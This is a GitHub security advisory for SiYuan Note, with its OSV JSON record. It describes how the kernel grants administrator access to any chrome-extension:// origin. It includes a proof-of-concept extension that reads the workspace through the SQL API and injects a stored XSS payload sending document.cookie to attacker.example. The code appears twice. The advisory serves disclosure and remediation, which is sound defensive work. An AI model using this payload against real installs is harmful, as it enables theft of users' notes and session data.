GHSA-HVR9-72V2-FFF3
Vulnerability from github – Published: 2026-07-10 19:26 – Updated: 2026-07-10 19:27Summary
SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.
Affected Versions
SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).
Vulnerability Details
Blanket chrome-extension:// Origin Trust (CWE-346)
In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:
if strings.HasPrefix(origin, "chrome-extension://") {
// skip auth
}
At session.go:284, the request is assigned RoleAdministrator:
c.Set("role", model.RoleAdministrator)
The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.
The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.
Proof of Concept
Unauthenticated admin API access via browser extension:
A minimal Chrome extension with only default permissions:
{
"manifest_version": 3,
"name": "SiYuan PoC",
"version": "1.0",
"background": {
"service_worker": "bg.js"
}
}
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default
// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
}).then(r => r.json()).then(data => {
console.log('[PoC] Admin API access confirmed:', data.code === 0);
});
// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});
// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
const firstDoc = tree.data?.files?.[0];
if (!firstDoc) return;
fetch('http://127.0.0.1:6806/api/block/insertBlock', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
dataType: 'markdown',
data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
parentID: firstDoc.id
})
});
});
The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.
Impact
- Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
- Data exfiltration of the entire workspace via
/api/query/sql,/api/filetree/,/api/export/ - Stored XSS injection via admin API endpoints (
/api/block/insertBlock,/api/attr/setBlockAttrs), persisted in the user's notes - Configuration tampering via
/api/system/setConf, enabling persistence and further attack surface expansion - Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user
Suggested Remediation
Remove blanket chrome-extension:// allowlist:
--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
func CheckAuth(c *gin.Context) {
origin := c.GetHeader("Origin")
- if strings.HasPrefix(origin, "chrome-extension://") {
- // Allow chrome extension requests
- } else
if !isValidOrigin(origin) {
c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
return
If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54069"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:26:06Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nSiYuan Note\u0027s kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering.\n\n## Affected Versions\n\nSiYuan \u003c= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`).\n\n## Vulnerability Details\n\n### Blanket chrome-extension:// Origin Trust (CWE-346)\n\nIn `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication:\n\n```go\nif strings.HasPrefix(origin, \"chrome-extension://\") {\n // skip auth\n}\n```\n\nAt `session.go:284`, the request is assigned `RoleAdministrator`:\n\n```go\nc.Set(\"role\", model.RoleAdministrator)\n```\n\nThe `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.\n\nThe origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints.\n\n## Proof of Concept\n\n**Unauthenticated admin API access via browser extension:**\n\nA minimal Chrome extension with only default permissions:\n\n```json\n{\n \"manifest_version\": 3,\n \"name\": \"SiYuan PoC\",\n \"version\": \"1.0\",\n \"background\": {\n \"service_worker\": \"bg.js\"\n }\n}\n```\n\n```javascript\n// bg.js -- runs as chrome-extension://\u003cid\u003e\n// No special host_permissions needed; localhost is accessible by default\n\n// 1. Verify admin access\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: \u0027{}\u0027\n}).then(r =\u003e r.json()).then(data =\u003e {\n console.log(\u0027[PoC] Admin API access confirmed:\u0027, data.code === 0);\n});\n\n// 2. Exfiltrate workspace data\nfetch(\u0027http://127.0.0.1:6806/api/query/sql\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: JSON.stringify({ stmt: \u0027SELECT * FROM blocks LIMIT 100\u0027 })\n}).then(r =\u003e r.json()).then(data =\u003e {\n console.log(\u0027[PoC] Exfiltrated blocks:\u0027, data.data?.length);\n});\n\n// 3. Inject stored XSS payload into a note\nfetch(\u0027http://127.0.0.1:6806/api/filetree/listDocsByPath\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: JSON.stringify({ notebook: \u0027\u0027, path: \u0027/\u0027 })\n}).then(r =\u003e r.json()).then(tree =\u003e {\n const firstDoc = tree.data?.files?.[0];\n if (!firstDoc) return;\n\n fetch(\u0027http://127.0.0.1:6806/api/block/insertBlock\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: JSON.stringify({\n dataType: \u0027markdown\u0027,\n data: \u0027\u003cimg src=x onerror=\"fetch(\\\u0027https://attacker.example/steal?data=\\\u0027+document.cookie)\"\u003e\u0027,\n parentID: firstDoc.id\n })\n });\n});\n```\n\nThe extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check.\n\n## Impact\n\n- **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel\n- **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/`\n- **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user\u0027s notes\n- **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion\n- **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user\n\n## Suggested Remediation\n\n**Remove blanket chrome-extension:// allowlist:**\n\n```diff\n--- a/kernel/model/session.go\n+++ b/kernel/model/session.go\n@@ -274,9 +274,6 @@\n func CheckAuth(c *gin.Context) {\n origin := c.GetHeader(\"Origin\")\n- if strings.HasPrefix(origin, \"chrome-extension://\") {\n- // Allow chrome extension requests\n- } else\n if !isValidOrigin(origin) {\n c.AbortWithStatusJSON(401, gin.H{\"code\": -1, \"msg\": \"invalid origin\"})\n return\n```\n\nIf extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.",
"id": "GHSA-hvr9-72v2-fff3",
"modified": "2026-07-10T19:27:58Z",
"published": "2026-07-10T19:26:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54069"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.